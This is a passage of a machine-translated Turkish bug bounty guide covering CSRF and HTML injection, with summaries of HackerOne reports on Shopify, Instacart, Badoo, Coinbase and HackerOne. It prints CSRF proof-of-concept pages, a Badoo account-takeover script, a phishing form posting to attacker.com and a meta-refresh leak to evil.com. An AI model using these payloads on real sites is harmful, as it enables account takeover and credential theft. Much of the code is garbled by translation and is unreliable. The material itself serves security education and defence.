6. Siteler Arası İstek Sahteciliği

Açıklama

Bir saldırgan bir HTTP kullanabiliyorsa, siteler arası sahtecilik isteği veya CSRF saldırısı gerçekleşiyor
Bir kullanıcının bilgisine başka bir web sitesinden erişmek ve bu bilgiyi
kullanıcı adına hareket etmek. Bu genellikle daha önce kimliği doğrulanmış mağduru temel alır
eylemin sunulduğu ve web sitesinde mağdur olmadan gerçekleşen hedef web sitesinde
Saldırının gerçekleştiğini bilmek. İşte size üzerinden geçeceğimiz temel bir örnek:

1. Bob, bakiyesini kontrol etmek için bankacılık web sitesine giriş yapar.
2. Bitince, Bob Gmail hesabını https://gmail.com/ adresini ziyaret ederek kontrol eder .
3. Bob, bilmediğiniz bir web sitesine bağlantı içeren bir e-posta adresine sahiptir ve görmek için bağlantıyı tıklatır.
   nereye gidiyor.
4. Bilinmeyen site yüklendiğinde, Bob'un tarayıcısına HTTP isteği yapması talimatını verir.
   Bob'un hesabından parayı saldırgana aktaran bankacılık internet sitesine.
5. Bob'un bankacılık web sitesi, yabancı (ve mali-
   cious) web sitesi, CSRF korumasına sahip değildir ve bu nedenle aktarımı işler.

Kurabiye

Şimdi, Bob'un nasıl tehlikeye atıldığına dair ayrıntılara geçmeden önce konuşmamız gerek.
Çerezler hakkında. Kimlik doğrulaması gerektiren bir web sitesini ziyaret ettiğinizde, bir kullanıcı adı gibi
ve parola, bu site tarayıcınızda genellikle bir çerez saklar. Çerezler dosyadır
kullanıcının bilgisayarında depolanan web siteleri tarafından oluşturulur.

Çerezler, kullanıcı tercihleri gibi bilgileri saklamak gibi çeşitli amaçlar için kullanılabilir.
Kullanıcılar veya bir web sitesini ziyaret etme geçmişini belirtir. Bu bilgileri saklamak için çerezler
tarayıcılara anlatan standartlaştırılmış bilgi parçaları olan bazı özelliklere sahip
Çerezler ve nasıl tedavi edilmeleri gerektiği hakkında. Bir çerezin yapabileceği bazı özellikler
etki alanı, son kullanma tarihi, güvenli ve httponly niteliklerini içermelidir.

Özelliklere ek olarak, çerezler, aşağıdakilerden oluşan ad / değer çiftleri içerebilir.
bir web sitesine iletilecek bir tanımlayıcı ve ilişkili bir değer (bunu geçen site
bilgileri, çerezin etki alanı niteliği ile tanımlanır). Bir site herhangi bir sayıda
Çerezler, her biri kendi amaçları için. Örneğin, bir site bir session_id çerezini kullanabilir
Bir kullanıcının, kullanıcı adını ve şifresini girmesini sağlamak yerine kim olduğunu hatırlayın.
ziyaret ettikleri her sayfa veya gerçekleştirdikleri eylem. HTTP'nin durumsuz olarak kabul edildiğini unutmayın

yani her HTTP isteğinde, bir web sitesi bir kullanıcının kim olduğunu bilmez, yani

Her istek için onları yeniden doğrulamak için.
Bu nedenle, örnek olarak, bir çerezdeki bir ad / değer çifti sessionId: 123456789 ve
Çerez bir .site.com etki alanına sahip olabilir. Bu, user_id çerezinin olması gerektiği anlamına gelir
her .site.com sitesine, foo.site.com, bar.site.com, www.site.com gibi bir kullanıcının ziyaret ettiği,
ve bunun gibi.

Güvenli ve httponly özellikleri, tarayıcılara çerezlerin ne zaman ve nasıl gönderilebileceğini ve
okuyun. Bu nitelikler değer içermez, bunun yerine ya mevcut olan bayraklar gibi davranırlar.
çerezde ya da değil. Bir çerez güvenli niteliği içerdiğinde, tarayıcılar yalnızca
HTTPS sitelerini ziyaret ederken bu çerezi gönder. Http://www.site.com/ adresini güvenli bir şekilde ziyaret ettiyseniz
çerez, tarayıcınız çerezlerinizi siteye göndermez. Bu gizliliğinizi korumaktır
HTTPS bağlantıları şifreli olduğundan ve HTTP bağlantıları olmadığından. Httponly niteliği
Tarayıcıya, çerezin yalnızca HTTP ve HTTPS istekleriyle okunabileceğini söyler.
Bu, siteler arası komut dosyası çalıştırmayı daha sonraki bir bölümde tartışırken önemli olacaktır.
şimdilik, çerez bir httponly ise, tarayıcıların komut dosyası dillerine izin vermeyeceğini unutmayın,
değerini okumak için JavaScript gibi. Güvenli özniteliği olmayan bir çerez gönderilebilir
HTTPS olmayan bir site ve aynı şekilde, httponly ayarlanmamış bir çerez HTTP olmayan bir kullanıcı tarafından okunabilir.
bağ.

Son olarak, son kullanma tarihi, sitenin artık ne zaman dikkate alınmayacağını tarayıcıya bildirir.
çerez geçerli olacak, bu yüzden tarayıcı onu yok etmelidir.

Bunların hepsini Bob'a geri götürmek, bankacılığını ziyaret ettiğinde ve giriş yaptığında, banka
HTTP isteğine yanıt veren ve tanımlayan bir çerez içeren bir HTTP yanıtı ile yanıtlayın.
Bob. Sırasıyla, Bob'un tarayıcısı bu çerezi otomatik olarak diğer tüm HTTP ile birlikte gönderir.
bankacılık internet sitesine yapılan talepler.

Bankasını bitirdikten sonra, Bob https://www.gmail.com/ adresini ziyaret etmeye karar verdiğinde oturumu kapatmaz .
Bu önemlidir, çünkü bir siteden çıkış yaptığınızda, o site tipik olarak bir HTTP gönderir.
Çerezinizi sona erdiren yanıt. Sonuç olarak, siteyi tekrar ziyaret ettiğinizde,
Tekrar giriş yap.

Bob bilinmeyen siteyi ziyaret ettiğinde, istemeden kötü niyetli bir web sitesini ziyaret ediyor.
bankacılık web sitesine saldırmak için tasarlanmıştır. Bu noktada, kötü niyetli sitenin kullandığı yol
Bankacılık sitesi, bankanın GET veya POST taleplerini kabul edip etmemesine bağlıdır.

GET İstekleriyle CSRF

Bankacılık sitesi GET isteklerini kabul ederse, kötü niyetli site HTTP isteğini gönderir
Gizli bir form veya bir <img> etiketi ile. Saklı form tekniği kullanılabildiğinden beri
POST istekleri de bu bölümde <img> etiketini ve “CSRF” formlarını kapsayacaktır.
POST İstekleri ile ”bölümünde daha sonra.

Bir <img> etiketi bir tarayıcı tarafından işlendiğinde, Google’a bir HTTP GET isteği gönderir.
etiketindeki src niteliği. Öyleyse, kötü amaçlı site 500 ABD doları transfer eden bir URL kullanıyorsa
Bob'dan Joe'ya benzeyen:

https://www.bank.com/transfer?from=bob&to=joe&amount=500

daha sonra, kötü amaçlı bir resim etiketi, aşağıdaki URL'deki gibi bu URL'yi kaynak değeri olarak kullanır
etiket:

<img src = "https://www.bank.com/transfer?from=bob&to=joe&amount=500">

Sonuç olarak, Bob saldırganın sahip olduğu siteyi ziyaret ettiğinde, HTTP’inde <img> etiketini içerir.
yanıt ve tarayıcı daha sonra bankaya HTTP GET isteğinde bulunur. Tarayıcı
Bob'un aslında bir resim olması gerektiğini düşündüğü şeyi alması için kimlik doğrulama çerezleri gönderir

banka isteği alır, URL'yi etiketin src niteliğinde işler ve işler
transfer.

Bu nedenle, genel bir web programlama prensibi olarak, HTTP GET talepleri
asla para transferi gibi herhangi bir arka uç veri değiştirme isteğinde bulunmayın.

POST İstekleriyle CSRF

Buna karşılık, banka POST isteklerini kabul ederse, dikkate alınması gereken birkaç şey vardır.
Bir POST isteğinin içeriği bir CSRF saldırısını karmaşıklaştırabilir, bu yüzden farklı teknikler
Bir saldırıyı başarıyla kaldırmak için kullanılması gerekir.

En basit durum, içerik tipi başvurusuyla bir POST isteğini içerir.
sendika / x-www-form-urlencoded veya metin / düz. İçerik türü, tarayıcıların kullandığı bir başlıktır
HTTP istekleri gönderirken içerebilir. Alıcıya HTTP'nin gövdesinin nasıl olduğunu gösterir.
istek kodlandı. İşte bir metin / düz içerik türü isteği örneği:

POST / **HTTP** / 1.1
Ev sahibi : www.google.com.tr
Kullanıcı Aracısı : Mozilla / 5.0 (Windows NT 6.1; rv: 50.0) Gecko / 20100101 Firefox / 50.0
Kabul et : metin / html, uygulama / xhtml + xml, uygulama / xml; q = 0.9, * / *; q = 0.8
İçerik Uzunluğu : 0
İçerik Türü : metin / düz; karakter kümesi = UTF-8
DNT : 1
Bağlantı : yakın

İçerik tipi etiketlenir ve türü, kodun karakter kodlamasıyla birlikte listelenir.
istek. İçerik türü önemlidir, çünkü tarayıcılar türleri farklı şekilde ele alır (
bir saniye içinde alacağız). Şimdi, bu durumda, kötü amaçlı bir sitenin oluşturulması mümkündür
gizli bir HTML formu ve kurbanı bilmeden sessizce hedef siteye gönderin.
Form bir URL'ye POST veya GET isteği göndermek için kullanılabilir ve hatta gönderebilir
parametreler İşte bazı kötü amaçlı kodlara bir örnek:


```
<iframe style = "display: none" name = "csrf-frame" > </iframe>
<form method = 'POST' eylem = 'http://bank.com/transfer.php' target = "csrf-frame" id \
= "csrf-form" >
  <input type = 'hidden' name = " value = 'Bob' dan >
  <input type = 'hidden' name = 'ila' value = 'Joe' >
  <input type = 'hidden' name = 'miktar' değer = '500' >
  <input type = 'Gönder' değer = 'Gönder' >
</ Form>
<script> document.getElementById ("csrf-form"). send () </script>
```

Burada, Bob'un bankasına form içeren bir HTTP POST isteği yapıyoruz (bu
<form> etiketindeki target niteliği ile). Saldırgan Bob'un görmesini istemediğinden
biçiminde, <input> öğelerinin her birine, onları görünmez yapan 'gizli' türü verilir.
Web sayfasında Bob görüyor. Son adım olarak, saldırgan içinde bir miktar JavaScript içeriyor
Sayfa yüklendiğinde formu otomatik olarak göndermek için bir <script> etiketi.

JavaScript bunu HTML belgesindeki getElementByID () yöntemini çağırarak yapar.
<form> 'da belirlediğimiz formun kimliği ile (“csrf-form”) . GET isteğinde olduğu gibi,
Form gönderildikten sonra tarayıcı, HTTP POST’u Bob’lara gönderme isteği yapar
Çerezleri banka havalesine yönlendiren banka sitesine. POST istekleri bir HTTP gönderdiğinden beri
geri tarayıcı için tepki, saldırgan bir in yanıtı gizler <iframe> ile
display: none niteliği yok böylece Bob onu göremez ve ne olduğunu fark eder.

Diğer senaryolarda, bir site POST isteğinin sözleşme ile gönderilmesini bekleyebilir
bunun yerine çadır tipi uygulama / json. Bazı durumlarda, bir uygulama / json olan bir istek
türünde, HTTP isteği ile gönderilen bir değer olan bir CSRF belirteci olacaktır.
böylece hedef site isteğin kendisinden geldiğini ve kendisinden kaynaklandığını doğrulayabilir.
başka, kötü amaçlı bir site. Bazen belirteç POST’un HTTP gövdesine dahil edilir.
istek ve diğer zamanlarda, içerik türü gibi bir başlıktır.

POST isteklerini uygulama / json olarak gönderme önemlidir, çünkü tarayıcılar önce
POST isteği gönderilmeden önce OPTIONS HTTP isteği gönder. Site sonra döner
SEÇENEKLER çağrısına, hangi tür HTTP isteklerini kabul ettiğini belirten bir yanıt.
Tarayıcı bu yanıtı okur ve ardından gerçek POST HTTP isteğini yapar;
Örneğimizde, transfer olurdu. Bu iş akışı aslında bazılarına karşı korur
Kötü niyetli web sitesinin HTTP'yi okumasına izin verilmemesi nedeniyle CSRF açıkları
SEÇENEKLER kötü niyetli POST gönderebilir olup olmadığını bilmek için web sitesinden yanıt
istek. Buna çapraz kaynaklı kaynak paylaşımı (CORS) denir.

CORS, json yanıtları da dahil olmak üzere kaynaklara erişimi kısıtlamak üzere tasarlanmıştır.
dosyaya sunulanın dışındaki etki alanı veya hedef site tarafından izin veriliyor. Diğer
bir siteyi korumak için CORS kullanıldığında, bir uygulama / json isteği gönderemezsiniz.
Hedef uygulamayı aramak için, hedefi okumadıkça yanıtı okuyun ve başka bir arama yapın.
site izin verir. Bazı durumlarda, bir CSRF yapmak için CORS etrafında çalışabilirsiniz.
Bu bölümde daha sonra göreceğimiz gibi saldırı.

Şimdi de belirtildiği gibi, CSRF açıkları bir çok yolla azaltılabilir;
rapor etmeden önce uygun bir saldırı kavramı kanıtı sağlamak önemlidir.

CSRF Saldırılarına Karşı Savunma

CSRF'ye karşı en popüler koruma, muhtemelen olacak olan CSRF belirtecidir.
Potansiyel olarak veri değiştirme talebi gönderilirken korunan site tarafından istenen
POST istekleri ise). Burada, bir web uygulaması (Bob'un bankası gibi) ile bir belirteç oluşturur
biri Bob’un alacağı, biri de uygulamanın alacağı iki bölüm.
Bob transfer talepleri yapmaya çalıştığında, kartını göndermek zorunda kalacaktı.
banka daha sonra belirteci tarafıyla doğrulardı.

Bu belirteçler her zaman açık bir şekilde adlandırılmamıştır, ancak isimlerin bazı potansiyel örnekleri
X-CSRF-TOKEN, lia-token, rt veya form kimliğini içerir. Saldırgan başarılı olamayacaktı.
Geçerli bir belirteç olmadan bir POST isteğini kesin olarak gönderin ve bu nedenle
CSRF saldırısı dışında, ancak CSRF belirteçleri her zaman çıkmaz
sömürülecek güvenlik açıkları aranıyor.

Sitelerin kendilerini korumaları açık bir şekilde CORS kullanarak, aptal olmasa da
tarayıcıların güvenliğine güvendiği ve uygun CORS yapılandırmaları sağladığının kanıtı
sitelerin yanıtlara erişmesine izin verildiğinde ve bazı CORS by-pass'ları olduğunda
Geçmişte bu açıkları. Ek olarak, CORS bazen bypass edilebilir
içerik türünün uygulamadan / json'dan uygulamaya / x-www-form-urlencoded olarak değiştirilmesi
veya POST isteği yerine GET isteği kullanarak. Bunların her ikisi de nasıl

hedef site yapılandırıldı.

Son olarak, bir site kaynak başlığını doğrularsa, CSRF açıklarından da kaçınılabilir.
köken saldırgan tarafından kontrol edilemediği ve başvuruda bulunamadığı için bir HTTP isteğiyle birlikte gönderildi
isteğin kaynaklandığı yere.

Örnekler

1. Shopify Twitter Bağlantıyı Kes

Zorluk : Düşük

URL : https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect

Rapor Bağlantısı : https://hackerone.com/reports/111216[1]

Rapor Tarihi : 17 Ocak 2016

Ödemeli Ödül : 500 Dolar

Tanım :

[1] https://hackerone.com/reports/111216

Shopify, dükkan sahiplerinin kendilerine tweet atmalarını sağlamak için Twitter ile entegrasyon sağlar.
ürünleri. Benzer şekilde, bir Twitter hesabının bağlantısını kesmek için de işlevsellik sağlar.
bağlı bir dükkan. Twitter hesabının bağlantısını kesmek için URL:

https://www.twitter-commerce.shopifyapps.com/auth/twitter/disconnect/

Görünüşe göre, ilk uygulandığında, Shopify'ın meşruiyetini doğrulamıyordu.
GET'in kendisine gönderilen istekleri, URL'yi CSRF'ye karşı savunmasız kılar.

```
GET / auth / twitter / http /1.1 bağlantısını kes
Ev sahibi : twitter-commerce.shopifyapps.com
Kullanıcı Aracısı : Mozilla / 5.0 (Macintosh; Intel Mac OS X 10.11; rv: 43.0) Gecko / 2010010 \
1 Firefox / 43.0
Kabul et : text / html, application / xhtml + xml, application / xml
Kabul Dili : en-ABD, en; q = 0.5
Kabul-Kodlama : gzip, deflate
Hakem : https://twitter-commerce.shopifyapps.com/account
Çerez : _twitter-commerce_session = REDACTED
Bağlantı : canlı tutmak
```

Raporu yazan Hacker WeSecureApp, aşağıdaki
savunmasız bir istek - savunmasız kalmayı sağlayan bir <img> etiketi kullanıldığına dikkat edin.
URL:

```
<Html>
  <Body>
    <img src = "https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect" >
  </ Body>
</ Html>
```

çıkarımlar

Bu durumda, güvenlik açığını bir proxy sunucusu kullanarak bulabilirdiniz,
Burp veya OWASP'ın ZAP'i gibi Shopify'a gönderilen HTTP isteklerini izlemek için
ve bunun bir GET isteği olduğunu belirtti. GET istekleri hiçbir zaman değişiklik yapmamalı
sunucudaki verileri, ancak WeSecureApp ile yıkıcı eylemde
Birincisi, bu tür istekleri de göz önünde bulundurmalısınız.

2. Kullanıcıları Eşitleme Bölgelerini Değiştir

Zorluk : Düşük

URL : https://admin.instacart.com/api/v2/zones/

Rapor Bağlantısı : https://hackerone.com/reports/157993[2]

Rapor Tarihi : 9 Ağustos 2015

Ödemeli Ödül : 100 $

Tanım :

Instacart kuryeleri için bir arayüze sahip bir bakkal teslimat uygulaması. Bakkaliye izin verir
Teslim kullanıcıları, çalıştıkları bölgeleri tanımlamak için
Instacart admin API'sinin / api / v2 / bölgelerinin bitiş noktasına POST isteği. Keşfedilen bir bilgisayar korsanı
bu son noktanın savunmasız CSRF olduğu ve mağdur bölgesini değiştirmek için kullanılabileceği. İşte
mağdurun bölgesini değiştirmek için bazı örnek kodlar:

```
<Html>
  <Body>
    <form eylem = "https://admin.instacart.com/api/v2/zones" yöntem = "POST" >
      <input type = "hidden" name = "zip" değer = "10001" />
      <input type = "hidden" name = "geçersiz kıl" değer = "true" />
      <input type = "gönder" value = "İsteği gönder" />
    </ Form>
  </ Body>
</ Html>
```

Bu örnekte, bilgisayar korsanı, bir POST isteğiyle API'ye erişmek için bir form oluşturdu. Onlar
daha sonra iki gizli giriş kullanıldı; biri kullanıcının yeni bölgesini 10001 posta koduna ayarlamak için
ve API'nin geçersiz kılma parametresini true olarak ayarlamak için kullanıcının geçerli zip değeri
hacker sunulan değeri ile değiştirilir. Son olarak, hacker formu göndermiştir.
POST isteğinde bulunun. Bu POC, kurban gerektireceği için öncekilerden farklı
korsan otomatik gönderme özelliğini kullanmadığından isteği göndermek için bir düğmeyi nasıl
JavaScript işlevi

Her ne kadar bu örnek hala işe yararsa da, teknikleri kullanarak geliştirilebilir.
Gizli iframe kullanmak ve isteği otomatik olarak göndermek gibi
kullanıcı adına. Bu, Instacart bug lütuflu tetikçilerine nasıl bir
Saldırgan bu güvenlik açığını, güvenlik açıklarından bu yana herhangi bir mağdur eylemi olmadan kullanabilir.
Mağdur etkileşimi gerektirmez veya sınırlandırılmaz, çünkü daha az çaba harcayarak potansiyel olarak daha etkilidir

güvenlik açığından yararlanmak için gereklidir.

[2] https://hackerone.com/reports/157993

çıkarımlar

Avantajlar ararken, saldırı alanınızı genişletin ve sadece ötesine bakın
bir sitenin, API için son noktaları içeren ve
açıkları. Bazen, geliştiriciler bazen bu API bitiş noktalarını unutur
web sayfaları gibi hazır olmadıkları için keşfedilebilir ve kullanılabilirler
(örneğin, mobil API uç noktaları, telefon trafiğinizin ele geçirilmesini gerektirir).

3. Badoo Tam Hesap Alma

Zorluk : Orta

URL : https://badoo.com

Rapor Bağlantısı : https://hackerone.com/reports/127703[3]

Rapor Tarihi : 1 Nisan 2016

Ödemeli Ödül : 852 $

Tanım :

Https://www.badoo.com/ adresindeki sosyal ağ web sitesini ziyaret edip araştırırsanız göreceksiniz.
CSRF belirteci ile CSRF açıklarına karşı korudukları. Daha spesifik olarak, onlar
Her kullanıcıya özgü benzersiz, ancak yalnızca beş rakam uzunluğunda bir URL parametresi kullanın.
yazma zamanında). Badoo'nun böcek ödül programı yayına girdiğinde bunu fark ettim.
HackerOne'da, onu kullanmanın bir yolunu bulamadım. Ancak, hacker Mahmoud Jamal
yaptı.

Rt parametresini ve önemini tanıyarak, parametrenin
Hemen hemen tüm JSON yanıtlarında iade edildi. Ne yazık ki bu CORS olarak yardımcı olmadı
Badoo'yu saldırganlardan kodlanmış oldukları için bu yanıtları okuyanlardan korur.
uygulama / json içerik türleri, ancak Mahmoud kazmaya devam etti.

Mahmoud daha sonra aşağıdaki JavaScript dosyasını buldu:

https://eu1.badoo.com/worker-scope/chrome-service-worker.js

Bu dosyanın içinde, şuna benzeyen bir url_stats değişkeni vardı :

var url_stats = 'https://eu1.badoo.com/chrome-push-stats?ws=1&rt= <rt_param_value>';

Url_stats değişken bir parametre olarak kullanıcının benzersiz rt değerini içeren bir URL depolanmış
kullanıcının tarayıcısı JavaScript dosyasına eriştiğinde. Daha iyisi neydi
Bu, kullanıcının rt değerini elde etmek için bir saldırganın mağduru ziyaret etmesi
JavaScript dosyasına erişebilecek kötü amaçlı bir web sayfası. Saldırgan daha sonra kullanabilir
Herhangi bir sosyal medya hesabını kullanıcının Badoo hesabıyla ilişkilendirecek olan rt değeri;
saldırgana mağdurun hesabına giriş ve değişiklik yapma yeteneği verin. İşte HTML

[3] https://hackerone.com/reports/127703

Sayfa Mahmoud bunu başarmak için kullanılır (için kod ve durum değerlerini kaldırdım.
biçimlendirme amaçlı):

```
<Html>
  <Head>
    <title> Badoo hesabı devraldı </title>
    <script src = https: //eu1.badoo.com/worker-scope/chrome-service-worker.js? ws = 1 \
> </ Script>
  </ Head>
  <Body>
    <Script>
      getCSRFcode işlevi (str) {
        dönüş str.split ('=') [2];
      }
      window.onload = function () {
        var csrf_code = getCSRFcode (url_stats);
        csrf_url = 'https: //eu1.badoo.com/google/verify.phtml? code = KOD & authuser = \
3 & session_state = STATE & prompt = none & rt = '+ csrf_code;
        window.location = csrf_url;
      };
    </ Script>
  </ Body>
</ Html>
```

Bir mağdur bu sayfayı yüklediğinde, Badoo JavaScript'ini referans göstererek yükler.
komut dosyasındaki src niteliği olarak. Komut dosyasını yükledikten sonra, web sayfası daha sonra
Anonim bir JavaScript işlevi tanımlayan JavaScript işlevi window.onload.
Bir web sayfası yüklendiğinde ve işlevden bu yana, load olay işleyicisi tarayıcılar tarafından çağrılıyor
Tanımlı Mahmoud, window.onload işleyicisinde depolanır, işlevi her zaman
Sayfa yüklendiğinde çağrılır.

Ardından, Mahmoud bir csrf_code değişkeni yarattı ve buna bir dönüş değeri verdi.
getCSRFcode adını verdiği işlev. Bu işlev bir dizgiyi alır ve dizeye böler
Her '=' karakterindeki dizeler. Daha sonra dizinin üçüncü üyesinin değerini döndürür.
İşlev url_stats değişkenini Badoo'nun savunmasız JavaScript dosyasından ayrıştırdığında,
dizeyi dizi değerine böler:

https://eu1.badoo.com/chrome-push-stats?ws,1&rt, <rt_param_value>

Sonra işlev, dizinin üçüncü üyesini döndürür, ki bu, rt değeridir.
csrf_code şimdi rt değerine eşittir.

CSRF belirtecine sahip olduğunda, Mahmoud bir URL'yi depolayan csrf_url değişkenini oluşturur.
Badoo'nun /google/verify.phtml web sayfasına kendi Google hesabını
kurbanın Badoo hesabı. Bu sayfa, içine kodlanmış bazı parametreler gerektirir.

URL dizesi. Ancak Badoo'ya özgü olduğu için burada ayrıntılı olarak yer vermeyeceğiz.
Sert bir kodlanmış değeri olmayan son rt parametresini not almalısınız.

Bunun yerine, csrf_code URL dizesinin sonuna birleştirilerek rt olarak geçirilir.
parametrenin değeri. Mahmoud, daha sonra window.location öğesini çağırarak bir HTTP isteği yapar.
ve onu ziyaret eden kullanıcının tarayıcısını URL'deki URL'ye yönlendiren csrf_url atar.
csrf_url. Kullanıcının tarayıcısı daha sonra /google/verify.phtml sayfasını işler ve
Kullanıcının Badoo hesabı, Mahmoud'ın Google hesabına, böylece hesap tamamlandı
Devralmak.

çıkarımlar

Dumanın olduğu yerde yangın var. Burada, Mahmud rt parametresinin farkına vardı.
farklı yerlerde, özellikle de JSON yanıtlarında iade ediliyordu. Çünkü
Bunun haklı olarak, rt'nin olabileceği bir yerde ortaya çıkabileceğini tahmin etti.
bir saldırgan tarafından erişilebilir ve istismar edildi - ki bu durumda bir JavaScript dosyasıydı.
Bir şeylerin kapalı olduğunu düşünüyorsanız, kazmaya devam edin. Bir proxy kullanın ve tüm
Bir hedef siteyi veya uygulamayı ziyaret ettiğinizde çağrılan kaynaklar. Sen
CSRF belirteci gibi hassas verilerle bir bilgi sızıntısı bulabilir.

Ayrıca, bu harika sağlamak için ekstra mil gitmenin harika bir örneğidir
bir istismarın kanıtı. Mahmoud sadece güvenlik açığını bulmakla kalmadı, aynı zamanda
onun HTML yoluyla nasıl kullanılacağına dair tam bir örnek verdi.

özet

CSRF açıkları başka bir saldırı vektörünü temsil eder ve
Mağdur bile bir eylemi bilerek veya aktif olarak uygular. CSRF açıklarını bulmak
biraz yaratıcılık ve yine, her şeyi test etme arzusu.

Genel olarak, Ruby on Rails gibi uygulama çerçeveleri web'i giderek daha fazla koruyor
Sitede POST istekleri gerçekleştiriliyorsa, ancak GET için durum böyle değil
istekleri, sunucuyu değiştiren herhangi bir GET HTTP çağrısına dikkat edin.
yan kullanıcı verileri (DELETE işlemleri gibi). Son olarak, bir sitenin bir CSRF simgesi gönderdiğini görüyorsanız
Bir POST isteğinde, CSRF belirteç değerini değiştirmeyi veya
sunucu varlığını doğrulıyor.

7. HTML Enjeksiyonu

Açıklama

Köprü Metni Biçimlendirme Dili (HTML) enjeksiyonuna bazen sanal denir.
silinti. Bu gerçekten kötü niyetli bir kullanıcının izin verdiği bir site tarafından gerçekleştirilen bir saldırıdır
Bir kullanıcının girişini düzgün işlemeyerek HTML'yi web sayfalarına enjekte edin. Başka bir deyişle,
HTML enjeksiyon güvenlik açığı, genellikle bazı formlar aracılığıyla HTML alınmasından kaynaklanır.
web sayfasında daha sonra girildiği gibi işlenen giriş. Bu ayrı ve belirgin
siteler arası komut dosyası saldırılarına neden olabilecek Javascript, VBScript vb.

HTML, bir saldırganın yapabileceği bir web sayfasının yapısını tanımlamak için kullanılan dil olduğundan,
HTML enjekte ettikleri zaman, bir tarayıcının oluşturduğunu ve bir web sayfasının görünüşünü değiştirebilir
sevmek. Bazen bu, bir sayfanın görünümünü veya başka bir görünümün tamamen değiştirilmesine neden olabilir.
durumlarda, kullanıcıları aldatmak için HTML formları oluşturmak, formu hassas göndermek için kullanırlar
bilgi (buna phishing denir). Örneğin, HTML enjekte edebilirseniz,
kullanıcıya, kullanıcı adlarını tekrar girmesini isteyen bir <form> etiketi ekleyebilir.
ve şifre gibi:

```
<form method = 'POST' eylem = 'http://attacker.com/capture.php' id = "login-form" >
  <input type = 'text' name = 'kullanıcı adı' value = '' >
  <giriş türü = 'şifre' adı = 'şifre' değeri = '' >
  <input type = 'Gönder' değer = 'Gönder' >
</ Form>
```

Ancak, bu formu gönderirken, bilgiler aslında http://attacker.com adresine gönderilir.
Bilgileri bir saldırganın web sayfasına gönderen bir action niteliği aracılığıyla.

Örnekler

1. Coinbase Yorumlar

Zorluk : Düşük

URL : coinbase.com/apps

Rapor Bağlantısı : https://hackerone.com/reports/104543[1]

[1] https://hackerone.com/reports/104543

Rapor Tarihi : 10 Aralık 2015

Ödemeli Ödül : 200 $

Tanım :

Bu güvenlik açığı için, raportör Coinbase'in gerçekten URI'yi çözdüğünü belirledi
metin oluştururken kodlanmış değerler. Tanıdık olmayanlar için, bir URI'deki karakterler
ayrılmış veya korunmamış. Wikipedia'ya göre, â ayrılmış karakter
bazen / ve & gibi özel anlamları vardır. Ayrılmamış karakterler
Herhangi bir özel anlam, tipik olarak sadece harfler.

Böylece, bir karakter URI kodlu olduğunda, Amerikan'daki bayt değerine dönüştürülür.
Bilgi Değişimi için Standart Kod (ASCII) ve yüzde işaretinden önce gelen
(%). Böylece, /% 2F olur, &% 26 olur. Bir kenara ASCII, bir tür kodlamadır;
UTF-8 gelene kadar internette en yaygın olanıydı, başka bir kodlama türü.

Bu örneğe gelince, eğer bir saldırgan HTML gibi girdiyse:

<h1> Bu bir testtir </h1>

Sikke temeli aslında tam olarak yukarıda gördüğünüz gibi düz metin olarak görünür. Ancak, eğer kullanıcı aşağıdaki gibi URL kodlu karakterler gönderdi:

% 3C% 68% 31% 3E% 54% 68% 69% 73% 20% 69% 73% 20% 61% 20% 74% 65% 73% 74% 3C% 2F,% 68,% 31,% 3E

Coinbase aslında bu dizginin kodunu çözer ve karşılık gelen harfleri <h1>
etiketler:

Bu bir test

Bununla birlikte, raporlayan bilgisayar korsanı bir HTML formunu nasıl oluşturabileceğini gösterdi.
Coinbase'in oluşturacağı kullanıcı adı ve şifre alanları. Hacker olsaydı
kötü niyetli, kullanıcıları bir form göndermeleri için kandırmak için güvenlik açığını kullanabilirdi
Coinbase'de işlenen, kötü niyetli bir web sitesine değerler geri göndermeyi kontrol etti ve
kimlik bilgilerini almak (insanların formu doldurup gönderdiklerini varsayarak).

çıkarımlar

Bir siteyi test ederken, farklı tiplerdeki sitelerin nasıl işlendiğini kontrol edin.
düz metin ve kodlanmış metin dahil olmak üzere giriş. Olan siteleri aramak için olun
% 2F gibi URI kodlu değerleri kabul etme ve kod çözme değerlerini oluşturma
bu durum /. Bir örnekte hacker'ın ne düşündüğünü bilmiyor olsak da,
URI'nin kısıtlanmış karakterleri kodlamaya çalıştıklarını ve
Coinbase onları çözüyordu. Daha sonra bir adım daha ileri gittiler ve URI kodlandı
bütün karakterler.

bir harika İsviçre Ordu bıçak hangi içerir kodlama araçlar dır-dir
https://gchq.github.io/CyberChef/ . Kontrol etmenizi ve eklemenizi öneririm
yararlı araçlar listenize

Sayfa 51

2. HackerOne İstenmeyen HTML İçeriği

Zorluk : Orta

URL : hackerone.com

Rapor Bağlantısı : https://hackerone.com/reports/112935[2]

Rapor Tarihi : 26 Ocak 2016

Ödemeli Ödül : 500 Dolar

Tanım :

Yahoo! XSS (Siteler Arası Kod Yazma Bölümüne dahil) I
HTML editörlerini metin editörlerinde test etmeyi takıntılı hale getirdi. Bu oyunla dahil
HackerOne en Markdown editörü, gibi şeyler giren **ismap = "yyy = xxx"** ve **"'test"** içeride
görüntü Bunu yaparken, editörün tek bir alıntı içereceğini fark ettim.
çifte alıntı içinde - sarkan bir işaretleme olarak bilinen şey.

O zamanlar bunun anlamını gerçekten anlamadım. Enjekte edersen biliyordum
başka bir yerde başka bir yerde alıntı, ikisi bir tarayıcı tarafından birlikte ayrıştırılabilir
aralarındaki tüm içeriği tek bir HTML öğesi olarak görecekti. Örneğin:

<h1> Bu bir testtir </h1> bazı içerikler '

Bu örnekte, gibi bir asılı tek bir alıntı ile bir meta etiketi enjekte etmeyi başardı
içerik özniteliğinde aşağıdakiler bulunur:

<meta http-equiv = "refresh" content = '0; url = https:? //evil.com/log.php text =

Tarayıcı, gerçekleştirildiğinde iki tek tırnak arasında her şeyi gönderir
https: //evil.com'u çağıran yenileme eylemi (bir meta yenileme etiketi bir web tarayıcısına talimat verir.
belirli bir zaman aralığından sonra geçerli web sayfasını veya çerçeveyi otomatik olarak yeniler ve
tarayıcıya URL özniteliği aracılığıyla yeni bir sayfa talep etmesini söylemek için kullanılır). Şimdi, çıkıyor
bu, Inti De Ceukelaire [3] tarafından HackerOne Report 110578'de bilindi ve açıklandı . Ne zaman
Bu halka oldu, kalbim biraz battı.

HackerOne'a göre, Redcarpet'in (Ruby'nin bir kütüphanesi olan) uygulanmasına güveniyorlar.
Markdown işlemi) o zaman olan herhangi bir Markdown girişinin HTML çıktısından kaçmak için
doğrudan kendi başlarına tehlikeli DOMSnerInnerHTML yöntemi ile HTML DOM'a geçirilir.
